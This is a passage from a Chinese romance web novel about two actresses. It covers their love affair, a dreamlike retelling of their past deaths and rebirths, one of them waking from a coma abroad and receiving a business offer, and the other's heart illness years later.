祝星亦揪着衣服慌慌张张看向苏寄欢想要求助，苏寄欢只好拍拍她安抚说没办法，咱们是演员，不能违抗导演的话。 正式开拍后拍了几场吻戏，一群工作人员多次围着看两人接吻。一次两次还好，次次都被围着，祝星亦本就脸皮薄，这下怎么也忍不住了。 她没用地在收工后跑公园大哭一场。 苏寄欢这下慌了神儿，着急忙慌找到人后给人擦眼泪，委屈巴巴地说：“你不是说你喜欢和我亲亲吗？怎么又不开心了？” 祝星亦瘪着嘴说自己在那么多人面前和她接吻有点害羞，苏寄欢赶忙拍拍她说，你要克服一下，演员要敬业。另外我到时候跟导演说我们不亲了，我们以后都不拍吻戏了。 苏寄欢看到祝星亦欲言又止的表情，一时之间不知道该说什么。 她想，祝星亦到底是接受和她接吻，还是不接受？但她来不及多想，刚刚还哭得不得了的狐狸抱住她吻了个天翻地覆。 苏寄欢茫然无措地感受着这个炽热的吻，等祝星亦终于放开她，她才得以喘息。 她听到祝星亦说，好，苏老师，我们以后不接吻了。 又听祝星亦说，苏老师，我会敬业的。 那之后苏寄欢和祝星亦的关系好像变僵了，拍戏只是程序化，祝星亦对她的态度也冷冷淡淡。苏寄欢哄了好久也没见有效果，愁得不得了。 直到拍戏间隙去了某个宴会，[晏影］的同事对苏寄欢奚落一番，祝星亦二话不说把酒泼在那人身上。 那人尖叫着想要找祝星亦麻烦，可想到祝星亦身后是ilmeth，说什么都忍住了。 不轻易惹ilmeth的艺人是圈内的共识，毕竟谁也不想被ilmeth的恐怖公关倒打一耙。 祝星亦拉着苏寄欢走出人群气得牙都要咬碎了。 她气呼呼地叉腰说，太坏了！她们怎么能这么骂你！ 苏寄欢瞪大了眼看着眼前的人，她奇怪得很。 哎？这个怎么都哄不好的人怎么不气啦！ 祝星亦被看得不好意思，忙说：“我只是看不得别人欺负你，我……我是个很正义的人。” 苏寄欢笑呵呵地说：“谢谢你呀，谢谢你保护我。” 祝星亦装作冷静的模样，她说她要积攒名气，她要做威力巨大的中子星，谁要是再欺负苏寄欢，她立马炸了那人。她还科普了什么是中子星，金子是怎么来的。 苏寄欢直勾勾看着她，看她兴高采烈地说喜欢金子，嘴都合不拢。她不断地在心里说，哇哇，可爱的星星，可爱的小狐狸。 回去路上苏寄欢买了金镯子，第二天到剧组后便把镯子送给祝星亦。 苏寄欢一脸虔诚地说：“中子星老大，我把星星碎片供奉给你，你可一定要保护我呀！” 苏寄欢没料到祝星亦会忽然大哭，她抱着金镯子啜泣：“苏老师！啊啊！苏老师！从来没人会这么在意我说的话，你却因为我随口一说就送我金镯子呜呜呜呜……” 这狐狸哭得鼻子眼睛都是红的，苏寄欢顾不上给她擦干眼泪忙说：“不要哭啊，我以后给你多买点金子好不好？唔，你还生我气吗？我不知道你在生什么气，想和你说什么你也不听，我……” 祝星亦哽咽着说不生气了，苏寄欢这才放下心来道：“你不气了就好。” 苏寄欢望着还在抖动肩膀的人轻声说：“你是中子星的话，那我就做另一颗中子星，我们一起离开这个破烂世界，我们逃逸在宇宙中，我们相互吸引、碰撞、合并，我们去生产更多更多的金子。当然，我们还可以一起炸了这个世界。” 她握住祝星亦的手，笑得合不拢嘴：“只要是和你在一起，我做什么都开心，我很喜欢和你在一起。” 听着这话，祝星亦嘴巴咕哝几下，红着脸一溜烟跑远了。 苏寄欢想，哎呀，好可爱呀，真的好可爱呀，她要是我的女朋友就好了。 可苏寄欢又想，如果告白的话，自己比祝星亦大8岁，对方不会觉得自己居心不良吗？对方会不会觉得她老气无聊？会不会嫌弃她能力不够？ 但苏寄欢实在忍不住了。 于是在《长离引》杀青后的第二个月，她告白了。 她说，星星，我喜欢你，很喜欢你。 她说，星星，你可以做我女朋友吗？ 苏寄欢以为对方会像往常一样仓促跑开，她也做好如何应对对方的拒绝的准备，但她没想到祝星亦扑在她怀里说：“苏老师，我也喜欢你！” 苏寄欢抹抹眼泪抱紧祝星亦，她语无伦次地把没说完的话说完。 比如，我会好好照顾你，继续做你的老师。 比如，谢谢你也喜欢我，谢谢你不觉得我无聊。 又比如，我好喜欢你呀我的星星。 苏寄欢觉得自己是世界上最幸福的女人，在后来的每一个旖旎的夜里，她都会拥紧怀里的人，听祝星亦细细软软地喊她姐姐，听小狐狸一声又一声的[好喜欢你］。 她很珍惜她的小狐狸，但她又懊恼自己并不是一个十分强大的人。晏氏总会无缘无故给她施加压力，很多时候她都是在百忙之中抽出时间去找祝星亦说些话。 苏寄欢想，如果她能和晏氏解约，如果她是一个独立的艺人，如果她可以自由些，她和祝星亦会更幸福。 但真正的幸福岂能那么容易获得？眼前的小幸福都来之不易。 譬如她和祝星亦遮遮掩掩的关系还是被苏菱发现了。 苏菱知道后暴怒，她无法理解苏寄欢为什么要在这个时候谈恋爱。 她问苏寄欢，你不要你的事业了吗？你不怕晏氏找你麻烦吗？你要开始堕落了吗？你想被晏氏压一辈子吗？你不想努力赚钱提前解约吗？ 晏氏的合约像大山一样死死压着苏家人，让苏家人喘不过来气。 可苏寄欢觉得这一切和祝星亦没关系，她只是和祝星亦谈恋爱，祝星亦又没有做错什么，相反，她才是需要被考虑的那个人。 祝星亦是光芒万丈的流量小花，有强大的ilmeth为她撑腰，有大把大把的青春，有大把大把的未来。 而苏寄欢是被晏氏针对的女艺人，晏氏不会高看她，只会想尽办法让她赚钱，让她不如意。 在祝星亦面前，苏寄欢并非是有更多谈资的前辈，她只是有着不堪回首的过往的苦命女人。 很多时候，看着青春洋溢的祝星亦，苏寄欢总在想，要是她不签约[晏影］，而是有自己的公司，她便可以为祝星亦提供更多机会，说不定可以为祝星亦量身定做一部剧本。 于是苏寄欢常常去鹿芜观许愿，她许愿自己可以实现愿望。她希望她可以和晏氏解约，希望可以成为一个自由的艺人，希望可以建立自己的公司，希望可以成为祝星亦的庇护者。 但这种心愿能实现的概率太小了，毕竟命运这个问题很难解释。 她便经常幻想，假如十岁那年没有选择向晏氏低头，假如她突破所有阻碍保持独立的自由身，假如她拼尽全力拥有一家属于自己的经纪公司，假如她可以以新的身份和祝星亦展开新的初遇，那一切烦恼迎刃而解。 人生总是充满错误的选择，人生也总是充满遗憾。苏寄欢知道自己没有重新选择的机会，她选择在无数期待里过好当下。 两人恋情被苏菱知道后，苏寄欢和苏菱争吵多次，多到她自己都数不清了。 后来苏菱选择妥协，她给两人送上一对半山半水的镯子，她告诉祝星亦，她不求祝星亦能给苏寄欢提供什么，她只希望两人能对彼此忠诚。 祝星亦眼睛亮亮地说着好，苏寄欢这才放下心来。 她又一次带祝星亦去鹿芜观许愿，观里祝星亦说：“苏老师，你带我来这里很多次，我都不知道该许什么愿望了。” 苏寄欢低眸笑笑，她说，我家星星真知足啊，不像我，我总是有很多心愿。 祝星亦问她，苏老师，你为什么总是许愿呢？ 苏寄欢看着苍翠的树叶轻声说，因为我啊，总是对未来充满期待。 她们再一次写了心愿，像过去的每一次一样挂在树上。 祝星亦问，姐姐，你许了什么心愿啊？ 苏寄欢摇摇头，她想听祝星亦的心愿。 她们站在挂满红布条和祈福牌的树下，初夏的风吹来，苏寄欢看到小狐狸的脸红扑扑的，很快，她听祝星亦说：“我想和姐姐永远在一起。” 苏寄欢吻上她的额头。 她也许了这个心愿。 她还许了很多心愿，她想，只要在未来的某一天随便实现几条，她就是世界上最幸福的女人。当然，她现在就很幸福了。 可她越幸福，越害怕。 她害怕她无法给祝星亦提供更好的未来——她只是一个向晏氏低头的女人，只是被合同死死压住的囚犯，只是一个没有确定未来的苏寄欢。 她在不安中思索许久向苏菱求助。 她想和晏氏解约，想再积攒些东西提解约。她要从独立艺人开始，一步步成长起来。只要可以摆脱晏氏，她会竭尽全力。 那天她和苏菱谈了好久，苏菱思索许久。她怎么不想让自己的女儿自由？可脱离晏氏的掌控谈何容易？但苏寄欢用精心制作的策划案说服了苏菱，苏菱同意了。 苏寄欢还把这个计划告诉了祝星亦，她说，星星，我一定会自由的，我一定会逃离晏氏的魔爪，我一定会给我们一个美好的未来。 祝星亦显然不懂这到底意味着什么，她抱着苏寄欢的手臂说：“嗯！我会一直支持你的！我也相信我们会有一个美好的未来！” 苏寄欢笑她太年轻了，同时觉得她天真得可爱。 她好想永远守护小狐狸的天真，好想让小狐狸什么都不懂。 不懂人心险恶，不懂这个圈子里的各种规则，不懂名利场的可怕，不懂这个社会从来都是弱肉强食。 而苏寄欢没有给祝星亦开空头支票，她带祝星亦去了温哥华看海上烟花。 她在烟花下向祝星亦求婚，她说：“星星，请和我结婚。让我做你的伴星，让我做你真正的爱人，让我和你一起逃逸在宇宙中，让我们生生世世，永不分离。” 炽热在坠落，海上烟花像夏日的一场美梦。 祝星亦抱住苏寄欢说：“好，我愿意，我愿意。” 她们在烟花下亲吻，她们戴上了婚戒，她们牵着彼此的手，迎着海风跑向浪涛里的焰火。 她们奔跑着，奔跑着，海上烟花和她们的背影交融。 这时屏幕上跳出八个字—— [未完待续，敬请期待］ // 黑暗的影厅里，大屏幕上是不停奔跑的两人的远景。 祝星亦静静地看着美丽的远景画面问：“这是……还有下一部的意思吗？” “是啊，还有下一部。”身边那人说。 “现在来看，是一个美好的结局啊。”祝星亦轻松道，“我还挺喜欢的，如果我和她是这个故事就好了。” 那人沉默许久说：“如果接下来的故事，是BE结局呢？是BE的话，你还会喜欢吗？” 祝星亦怔了怔：“BE……是什么样的BE？” 那人笑说：“当然是我们都死啦，哈哈哈。” “我……们？” 祝星亦的疑问刚问出声，身边那人忽然拉住她的手起身。 哗—— 海水的声音。 屏幕上的烟花忽然真实地映在脸上，明暗交替中，焰火的颜色冲进眼眸。 哗—— 海浪阵阵。 手被前面奔跑的人拉着，双脚不由自主地跟着跑起来。余光瞥到随动作飘动的衣角，她意识到，她已经成为电影里的祝星亦。 前面的人边跑边说话：“你要继续看下去吗？星星？” “你要看晏氏的人得知我筹划解约，得知你与我早就在一起，她们逼你让我去签新的合同，还逼你去偷我的协议文件。你因为想保护我提前联系律师和警察，她们看事情闹大了，把你从楼下推下去，致你坠楼而亡吗？” “你要看我看到你死后撕心裂肺，在解决完晏氏的事后跳海自尽吗？” “你要看我在跳海前许下新的愿望，新的愿望是，希望下辈子可以拥有权力、自由、强大的心脏，希望你不要再遇到害死你的我，希望你可以拥有更好的人。” “然而重来一次剧本完全更改，我的确拥有了权力、自由，晏瑾年却占了我的位置。可我看你很爱她，你很快乐，我也如此成功，我就以为这就是重来一世后，上天安排的最美好的剧本，然而你因为我的舍不得，被人害得再次坠楼。” “我舍不得你真的和她在一起，我给你递上了我亲自写给你的剧本，让你演了我的女主角。后来我看你想换公司，我就想着替你解约，然后把你签在我手里。我去找风荇谈你的合约问题，但我没想到晏氏以为你要背叛晏瑾年，她们再次对你下手。” “那天，我在你酒店房门前徘徊许久。我不好开这个口，因为之于你来说，我只是一个讨厌的家伙。我离开后的十几分钟里，你被人推下楼。我好后悔，我为什么没有推开那扇门，我为什么要甘愿我们拿这个剧本。” “我又把你害死了，我怎么会这么没用，我又害死了你。我那时明白，原来一切都是有代价的，我获得权力的代价是你和我成为陌路人，是用你的生命换来的。于是在你坠楼的十分钟后，我也跟着跳下了楼。” “你要看这个结局吗？你要看吗？星星，你要再次看看我们的剧本吗？” 电流的声音忽然变成真实的人声，竟是苏寄欢的声音。 苏寄欢跑着跑着忽然回眸，墨色的长发被风吹乱，满脸的泪痕，嘴角却在上翘着，无数朵烟花在深蓝的夜空里炸开。 片刻后两人停下，苏寄欢丢开祝星亦的手站在两米开外。 她静静地望着祝星亦说：“星星，回答我，你还要继续看下去吗？回答我，你喜欢这些剧本吗？” 海水漫上脚踝，祝星亦沉默许久，回头望去。 她身后是海上焰火，脚下是攀爬她脚踝的海水。 一道无形的墙竖在眼前，她透过那堵墙看到了昏暗的影厅，影厅里坐满了观众。 鸦雀无声，座无虚席。 她和苏寄欢成了屏幕里的人，而屏幕外，座上那些看不清脸的观众有了脸和身形。 祝星亦看到了，她看到了，她清晰地看到了。 那些人是她们。 是[我们］。 是千千万万个祝星亦和苏寄欢。 第127章 我会回来的 看着那些[她们］，祝星亦听到海上翻腾的浪和烟花的声音，窄窄的影子从脚下长出，和拍打她脚踝的浪花交缠在一起。 心脏在跳着，砰砰，砰砰。 千万朵花儿开在夜空，祝星亦弓起脊背踉跄着倒退两步，指甲深深掐入掌心。 烟花再次炸开，她转身扑向苏寄欢，颤抖的十指扯住对方衣襟时，大颗大颗的泪珠顺着绷紧的下颌线滚落，在苏寄欢肩头洇出深色痕迹。 冰冷的焰火像对死亡的喝彩，祝星亦不想看到什么BE结局，只是她无法再续写任何一个标点符号。 “我不想看，我不喜欢BE，我讨厌死了。可是，可是……”祝星亦的声音变得破碎不堪，她不忍再说，任凭眼泪落下。 可是，可是。 她已经盛大谢幕，她在暴雨里熄灭，将那条灼热的生命埋葬在冰冷的雨里。 苏寄欢垂着眼哀伤道：“但你和我的结局，永远停在BE。星星，我不是你的救赎，我也不是你的太阳。我是深渊，我会不停害死你。” 祝星亦抽泣起来：“死了又怎样？我就要靠近你，我就要爱你，我就要和你在一起，我不要BE，我不要BE！苏老师我不要BE！” 星火垂落海面，咸涩的海风掀起苏寄欢的发丝，她叹口气沉默许久说：“好，你不喜欢BE，那就由你自己去续写新的故事好不好？” 她抬手拍拍祝星亦的背，像无数个夜晚安抚怀里的小狐狸一样，声音轻轻地告诉她：“你来写后面的剧本，你来为我们画一个完美的句号。” “我不要！我不要画句号！我不要！我不要结束，不要分手，我不要我们有终点，我不要……”祝星亦突然仰头嘶喊，她紧紧揪住苏寄欢后背衣料，指节因过度用力泛起青白。 她视线早已模糊，悲痛的哭声被海浪声裹住：“苏老师，我好想你，我好想你，我好想再见到你。我想跟你说对不起，苏老师，对不起，对不起……” 哽咽突然卡在喉间，她开始剧烈地抽气，整个人蜷缩着往对方怀里钻，呜咽被温暖的人尽数收下。 苏寄欢垂眼吻她的发丝：“好，你想见我就见我，我们会见面的，像我们曾经分别的每一次，最后都能见到彼此那样。” 祝星亦搂紧她哭着问：“那我们在什么时候见面？” “在春天。”温热的吐息拂过颤抖的睫毛，苏寄欢屈指擦过她的眼泪笑着说，“我们相识于春天，我们死于春天，我们也要在春天见面。” 她又把人抱得紧紧的，在小狐狸耳畔轻声说：“所以你要快点醒来，这样我们才能快点见面。我的星星，这一次，你来为我们写个好剧本，好不好。” “好，好啊，苏老师。”祝星亦嗫嚅着，“我要写个好剧本，我要见到你，我要见到你。” “星星啊，醒来吧，春天来啦。”苏寄欢抱紧她，亲吻她的脸颊。 一如既往温暖的怀抱，还有好闻的柚子花香。 祝星亦睁开眼睛，泪水顺着太阳穴滑进鬓角，在雪白枕套上晕开小小的春痕。 她侧过脑袋，异国病床旁桌子上的花瓶里插着一小株柚子花。 窗外是春天。 是春天，已经是春天了。 起初，她死在麓城的春天，重生于麓城的春天。 后来，她死在溪城的秋天，又于异国的春天醒来。 她喜欢春天，她美丽的爱人也是春天一样的人。 像料峭的春寒，又像和煦的春风。 病房里整理东西的白澜听到细微的声响转过身子，瞳孔震颤一刹那，倾身奔跑过去。 “星亦！星亦！星亦你醒了！”白澜还没来得及再说些什么，赶忙跑出去喊护士：“醒了！醒了！星亦醒了！昏迷整整半年的星亦醒了！” // 祝星亦好像做了个记不清的梦，梦里她身处电影院，她看了一部忘记剧情的电影，然后她在满是焰火的海边遇到了苏寄欢。 苏寄欢说她们会在春天见面，于是她便醒了。 她跟白澜说这些的时候，白澜抽出纸巾擦眼泪。 顿了顿，祝星亦敛着眸子问：“她还好不好？” 白澜很快意识到祝星亦说的是谁，她擦了下脸上的水痕说：“苏小姐很好，她的影视项目运行得很顺利，她本人也于上个月开始回归拍戏。她过得很好，你不用担心她，倒是你……” 白澜说着，眼泪便止不住了。 祝星亦的事她知道后悔不当初，如果当初她理解祝星亦的做法，她绝对不会让祝星亦孤身一人去面对。 忍辱负重搜集证据又被残害，身中数刀后从6楼跌下，倘若保镖们再晚到一会儿，命真的没了。 “当时晏璟霖的人还没走，都在附近看着，所以保镖只能宣布你死了。后来把你紧送往医院抢救十几个小时才捡回半条命，为了让你安全些，待你体征稍微好一点便把你送出国疗养。”白澜说这些话的时候眉头紧蹙着，一脸倦意。 她继续说：“幸*好有你拖延时间，才让警察快些追查到晏璟霖的下落。她们伤害你之后虽然逃了，警察还是追上了她们。晏璟霖见要被追到了，着急和段以溶抢方向盘，不巧撞上路边的柱子，车直接坠海。” “可惜晏璟霖只是成了植物人，也不知道什么时候醒来，我希望她这辈子都不要醒来。”白澜握紧拳头，没想到晏璟霖居然这么幸运，“但段以溶就没那么幸运，坠海后不久她便溺亡，我觉得她死得好，若是晏璟霖死了就更好了。” 想到晏璟霖，白澜气得直咬牙：“这晏珂的权力未免也太大了，竟然真的保下了两个女儿。晏瑾年提前出国，晏璟霖后脚也被送出国了。可恶，她们要是受到法律的制裁该多好！” 祝星亦得知晏璟霖没有被抓走也没有死去，反应平平。 她有猜到晏珂会保下两人，她只是后悔没有多捅几刀。若是捅得再深点，晏璟霖便没有活下去的机会。 等晏珂再动用点权力，晏璟霖恢复好，晏氏姐妹不仅能逃脱法律的制裁，还能一直在国外逍遥快活。即便她们无法再回国发展，即便[晏影]没了，但晏氏不完全倒下，这两姐妹还有翻盘的机会。 而且互联网没有记忆，晏氏即便受到重创也有晏珂故交支持，难保日后晏瑾年会代替晏璟霖重振晏氏。 可恶。 祝星亦吃力地抓紧床单，白澜见她动怒的模样提醒道：“星亦，你身中数刀伤了脏腑，又从高空坠楼身体多处骨折，我们本以为你会一直以植物人的状态活着，没想到现在你醒了。既然醒了，你就好好养身体，这些事先不要想了，太伤神。” 祝星亦松开手平复下心绪。 白澜说得没错，现在她先养好身体比较重要。 她现在刚醒，身体机能太差，配合护士调养许久才能稍稍走下床。白澜道是祝星亦身体素质太好，若是先前是弱不禁风的模样，这一重伤下来怕是命都没了。 “可是你这次受伤伤了你太多元气，怕是恢复不了你往日的好身体了。”白澜扶着祝星亦练习走路难过道，“都不知道什么时候才能好透，好在现在你不用工作，只需要静养就行。” 现在祝星亦身处国外，不用再被国内的纷杂信息打扰。白澜早早跟祝霜报了平安，并让祝霜帮忙对祝星亦还活着的消息保密。警方那边还在跟进案子，等再过一段时间完全处理好，祝星亦就可以抛头露面，但想要回娱乐圈怕是难了。 阳光晴好的日子，祝星亦坐在轮椅上在医院公园晒太阳：“回不回又有什么关系？我对那里没有什么惦念，我也没有什么遗憾。” 夏日的阳光落在她手心，她嘴上这么说，可心里空落落的。 昏迷期间的那个梦里，她好像跟苏寄欢许诺了什么，但现在早已忘记。 “你都这种知名度了，真不回去的话，岂不是太亏？” 一个清洌的声音在身后响起。 很耳熟的声音，有点想不起来是谁。 祝星亦转头，看到几个身穿西装的女人走来。为首的女人一头波浪大卷，瓜子脸，五官艳丽，初看时觉得这张脸有些凶气，多看两眼竟觉得有些亲近。 白澜见女人走了过来，忙弯腰激动道：“星亦！是林总！是ilmeth的老大！就是她帮忙把你转移到国外，还保护你还活着的消息！” “你好啊，祝星亦。”林总挑起眉头打招呼。 祝星亦顿时愣住，林总……怎么…… 林总作为ilmeth传媒文化的董事长兼ilmeth影视的董事长，鲜少在公众面前视野出现过，祝星亦也只是在一些影像里看到过这位真正意义上的女强人的采访。 这位林总未成年时便在小众艺术圈积攒许多名气，19岁创工作室，负债300万又成功打赢和黑心公司的官司，21岁成立ilmeth文化，后多次牢牢站在时代风口，吃遍时代红利。 现在林总已年近四十，野心依旧不小，她时常跟奋斗的伙伴们说，只要她活着，她必须搞出点动静，省得日子过得毫无水花。 林总俯视坐在轮椅上的女人，柔软的长发垂在胸前，病号服下是有些瘦弱的身体，明艳的五官在初夏的阳光里被衬得毫无血色。 坚韧决绝的女人，有玉石俱焚的勇气，隐忍又狠厉。 这个女人干什么都能成功。 [晏氏案]事发前后，林总一直对此案有关注，也在后期配合对重伤祝星亦的转移工作。看到晏氏被打击，她乐得几天睡不着觉。她初初创业时便被晏氏绊住过脚，那时晏珂有强大的晏氏集团，瞧不上她不说，还多次公开奚落她。这么多年过去了，她仍是记得那时的屈辱。 祝星亦忍辱负重对晏氏精准打击，教她十分感激，她没有想到这个祝星亦居然这么有骨气。 公关舆论上，她为了保护祝星亦潜伏的秘密帮忙传播祝星亦的负面新闻。 这是祝星亦想要达到的效果——身败名裂的女星退隐，再不出现在娱乐圈。 可她不想让祝星亦真的从娱乐圈消失，她想回报祝星亦是一方面，另一方面……这样的祝星亦更能赚钱。 试问现在还有哪个明星比祝星亦的知名度更高？就连村头的老人都能说两句祝星亦是对赌25亿的资本傀儡。 对于林总来说，赚钱是她人生唯一的信条，不赚钱的东西她不要，她要的东西必须赚钱。祝星亦有这热度不出来抛头露面赚钱？到嘴的肥鸡还能让她跑了不成？ “可是……如你所说，我已经身败名裂。”病房里，祝星亦抓着病号服艰难开口，“我已经是个典型的负面例子，如果我回去，我……” “你不想和苏寄欢见面吗？”林总忽然截断她的话，“我知道你是为了打击晏氏才忍痛和苏寄欢分手，如果你真的选择不回去，你和她的缘分就再也续不上了。” 提及苏寄欢，祝星亦喉头突然哽住，她用力吞咽两下道：“我知道你们把控舆论的能力很强，有你们在，我肯定可以回去。可是我这样的艺人……” “不不不，我不希望你是作为艺人回去的，我希望你作为一个生意人回去。换句话来说，我希望你是我的合作对象，而不是我手下的艺人。”林总眼尾随着笑意挑起狡黠的弧度，“毕竟合作对象可比上下级的关系要更亲近，而且……你更不会逊色你的前任。你的前任自你帮忙打击晏氏之后，影视板块单独成立公司上市，股票涨到飞起，我真是眼馋啊。” 林总忽然倾身靠近祝星亦，幽幽道：“我也要你像她一样成功，跟她合作，或者，打败她。” 这种事祝星亦想都不敢想，成为生意人？打败[苏盛]？白日做梦！ 关南欣无声上前推来座椅，林总抚平裙摆优雅落座：“星亦，你可以不相信苏寄欢还爱你，但你要相信我投资生意的能力。ilmeth会赚钱，会造梦，也会让梦成真。” 她摊开手掌，常年握高尔夫球杆的虎口带着薄茧：“给你两秒钟考虑，想不想回去？想不想被我投资？想不想重新闪耀？” 祝星亦还在犹豫，白澜一把抓起她的手握在林总手中。 白澜握紧两人交叠的手，力道大得让祝星亦皱眉：“星亦说她愿意。” 林总身后的一群西装人忽然齐齐鼓掌，关南欣含笑道：“祝小姐，我们今晚会飞回国。而关于你的影视公司注册成立以及工作相关的问题，我们两天内会和你开个线上会议，请做好准备。这边是给你配备的电脑，资料库里有文件，请于两天内吸收完毕并做出简要总结，我们会在本周五和你详谈。” 一个扎着低马尾的西装女人把笔记本放在桌面时，机身与桌面碰撞的脆响让祝星亦太阳穴突跳。 什么？什么影视公司？注册成立？电脑都备好了？什么马上吸收还要做总结？人还没休息好就要开会工作？ “各位是不是漏了征求当事人意见？这未免也太草率了。”祝星亦被气笑了。 “草率？这叫效率。在你坠楼昏迷后，我就已经想到要如何回报感谢你。”林总霍然起身，眉目里尽是戚哀，“说来也是遗憾，如果你当初签的不是风荇，不是艺域，而是我们ilmeth，我肯定会好好保护你，我也会让你最大化地发挥你的价值。ilmeth之所以这么多年长盛不衰，是因为在职的经纪人们知道如何好好养大每一朵花。” “可是人生没有如果，但现在我们是新的开始。”林总转过身子，逆光的轮廓像锋利的刀刃，她回眸含笑：“另外我只是给你投资，我不是给你一个公司让你当老板。这条路同样充满泥泞，你若是可以走下去，我为你骄傲。合作愉快，星亦，我很期待你交出的答卷。” 一群人走后，祝星亦缓了许久才消化刚刚的谈话。 身败名裂的艺人重回娱乐圈，还要带着新的影视公司开始闯，要让公司顺利运营，要做出许多作品，要回去见故人，要有新的开始。 新的开始…… 新的开始吗？ 祝星亦攥得紧紧的拳头缓缓松开。 去见故人，去走一条崭新的路，这才是新的开始。 她侧头看向窗外，人间初夏，草木盈满。 苏老师，我会回来见你。 第128章 重逢 《被钓系影后缠上后》破镜重圆卷 晋江文学城独家 赵二月著 // 【正文】 // 医院—— “这次还是心脏供血不足的缘故，你最近必须好好休息，千万不能太过操劳。”李医生一边说着一边熟练地在键盘上敲击，调取完过往的病历数据仔细比对分析后，开始在系统里录入药方，“我给你开点改善心肌供血的药，先吃一个疗程，看看效果。” 说罢，打印机“嗡嗡”作响，几页纸缓缓吐出。 李医生将药方单和病历一起递给苏芙，苏芙接下看了看，医生指着药方耐心给坐着的苏寄欢讲解：“这些药怎么吃给你写上去了，这个早上吃，这个晚上吃，这个……” 说完，又翻出一张注意事项单，“你把这个也拿好，忌口还是那些，切记切记保持规律作息，这对病情恢复很关键。另外情绪也别太激动，有任何不舒服马上来复诊。” 苏寄欢默不作声点点头，李医生扶了下眼镜叹道：“你这还是三年前心脏手术后留下的大大小小的毛病，跟你嘱咐过不要操劳不要操劳，怎么就不听呢？你姐说你1年跑9个剧组？” 苏寄欢拿过药单看了两眼，和之前的药差不多，点点头嗯了声：“去年是有点辛苦，但我一直在吃药，感觉没什么不适。” 苏芙呛她一句：“是啊是啊，一边吃药一边搞垮自己的身体，你多牛啊，心脏都没时间衰竭。” “我劝你不要咒我死。”苏寄欢把苏芙手里的单子一并夺走，道了句感谢走出门诊室。 踏出诊室，扑面而来的是医院走廊里嘈杂鼎沸的声浪。墙壁上张贴的健康宣传海报，在忙碌的氛围中显得有些格格不入。 药房在一楼，苏芙跟在苏寄欢身旁往电梯那处走，嘴里仍时不时嘟囔着：“你呀你，就不能长点心，好好照顾自己。我就希望你好好的，不要再糟蹋自己的身体了，你再这样作下去，好不容易抢救回来的命就会没了。” 苏寄欢仿若未闻，眼里透着一丝疲惫以及几分执拗。 药房前人很多，苏寄欢站在队伍里等待拿药，思绪却飘远了。 苏芙拿出医保卡准备递给苏寄欢，抬头看看沉默的人，记忆窜到三年前。 那时祝星亦的丑闻曝出来没多久人便消失，苏芙告知苏寄欢，祝星亦很有可能跟着晏瑾年去了海外。 本就疲惫不堪还撑了许久的苏寄欢便因突发应激心肌病被紧急送往医院，随后陷入漫长的昏迷。 医生说苏寄欢这具身子早已不行了，一直在死撑着。苏芙带来的消息是压倒她的最后一根稻草，至于人什么时候醒来，尚未可知。 后来苏寄欢在一个傍晚醒来，医生检查后称她好多了，苏家人这才放下心来。可惜到了晚上，苏寄欢突发急性心力衰竭再次昏迷。 医生下达病危通知书的那一刻，整个苏家都被阴霾笼罩，紧接着传来一连串的坏消息。 苏寄欢快不行了。 哭得眼睛肿成核桃的苏芙在走廊里无助地哭喊，好不容易打赢了一场胜仗，怎么是这个结果。 还好医生们凭借精湛的医术把苏寄欢抢救回来了，只是心脏落下了病根。 医生让苏寄欢不要太疲惫，情绪起伏不要太大。苏寄欢嘴上说好，苏芙便以为她放在心里，会放慢生活的节奏。 可那之后，苏寄欢愈发拼命。 影视板块就不说了，匆匆忙忙上市后她不停拉新投资，去年一年辗转九个剧组，不是主演就是重要客串，还频繁亮相各大综艺。 外界都在夸赞苏寄欢重振旗鼓，[晏影］和晏氏倒下后事业迎来第二春，只有苏芙知道苏寄欢这样做不正常。 拿完药，苏寄欢和苏芙走出医院，和煦的阳光未能驱散苏寄欢周身的寒意。 她紧攥着手中的药低声喃喃：“我不知道如何才能让她看到我，三年了，我根本找不到她。” 苏芙没听清，赶忙回头问道：“你找谁？” 苏寄欢咳了声随口敷衍道：“我找死。” 而后又迅速恢复了清冷模样，接着说：“下周是ilmeth的晚宴，你有空跟我一起选选礼服。另外我看好的那五个剧本你记得给三姨也看一下，我晚上还要去剧组看看她们的拍摄情况。” 苏芙听后拳头硬了，一拳攮在苏寄欢肩头咬牙切齿：“晚上还去看拍摄情况？你去干嘛？你要休息知不知道！” “乔沐音第一次演戏，我总要过去看看，显得老板体恤员工。”苏寄欢打开车门坐进去扣上安全带，扬了扬下巴让苏芙快点开车回去。 乔沐音，[苏盛］的签约艺人。去年[苏盛］把乔沐音送到选秀综艺里拿到了冠军，到今年才把她送剧组里演戏。 乔沐音成团出道时，总有很多人拿乔沐音和祝星亦比。 只可惜网友们一边倒支持祝星亦。 八年前的[青春理论］，祝星亦纯靠实力赢得第一，后来又靠演技征服国内外大奖。即便好多国内奖都是内定的，但祝星亦的演技说不了谎。 和苏寄欢无甚区别的实力演技，即便不靠内定也不会很差，怎么就那么糊涂地和晏氏合作？ 网友调侃祝星亦是[人品祭天，演技无边］。 虽然祝星亦是著名的[法制咖］，但后来的艺人想要超越她很难。 网络的风向也实在奇怪，初初祝星亦曝出惊天丑闻时，网友一边倒骂她。但多年过后，内娱始终没有捧起来第二个祝星亦。 网友们给祝星亦起名[不懂事的前妻］，大家觉得这个称号太合适了。 真真切切追过祝星亦的人，是真心觉得祝星亦太糊涂。 19岁出道，消失在娱乐圈时还不到24岁。 倘若当年祝星亦能老老实实安安分分走下去，无人能分走祝星亦的热度。 不过……现在祝星亦也算是全民皆知的艺人了。 大名鼎鼎的[25亿］嘛。 苏芙拉上安全带嘟囔：“人剧都拍一半了你才去看，还体恤员工，真会做样子。” “乔沐音是不是这周过生日？”苏寄欢问。 苏芙看了下日历，嗯了声，“怎么？要送人家礼物？呦，你终于走出来了？开始对新妹妹下手了？” 身子往后轻轻躺，苏寄欢的声音又疲惫又轻：“什么走不走出来，你说的是谁？” 车子发动，正好播放乔沐音的新单曲。 苏芙看苏寄欢明知故问的模样，握着方向盘转了个弯儿挑眉道：“还能是谁？当然是把你害得心衰的女人啊。臭鸭头，你别装了，圈里得有一半人知道你和她恋情，也知道她羞辱完你又甩了你。你多惨啊，被欺骗被吸血又被背叛。没关系，你现在活得那么风光，祝星亦那个臭女人对你来说只是往事随风。” 春日午后的麓城是一片苍翠欲滴的油画，苏寄欢阖上眼懒懒答道：“哦，你不说我差点忘了还有她这个人。如你所说，我活得那么风光，即便她出现在我面前，她也只是个可怜的失败者，对我没有丝毫威胁。” 